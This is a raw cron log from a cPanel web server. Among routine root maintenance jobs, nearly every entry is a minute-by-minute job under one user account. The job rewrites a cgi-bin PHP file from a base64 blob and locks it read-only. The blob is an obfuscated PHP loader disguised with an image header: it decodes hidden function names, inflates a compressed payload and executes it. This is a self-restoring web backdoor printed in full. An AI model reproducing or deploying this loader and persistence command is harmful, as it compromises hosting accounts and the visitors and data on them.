Nov 14 06:32:01 server CROND[22364]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:33:01 server CROND[23143]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:34:01 server CROND[24091]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:35:01 server CROND[24967]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 06:35:01 server CROND[24969]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:35:01 server CROND[24972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 06:35:01 server CROND[24974]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 06:35:01 server CROND[24973]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 06:36:01 server CROND[25893]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:37:01 server CROND[26556]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:38:01 server CROND[27390]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:39:01 server CROND[27954]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 06:39:01 server CROND[27955]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:40:01 server CROND[28820]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 06:40:01 server CROND[28822]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 06:40:01 server CROND[28823]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 06:40:01 server CROND[28828]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:41:01 server CROND[29850]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:42:01 server CROND[30720]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:42:01 server CROND[30721]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 06:43:01 server CROND[31652]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:44:01 server CROND[32519]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:45:01 server CROND[938]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 06:45:01 server CROND[939]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
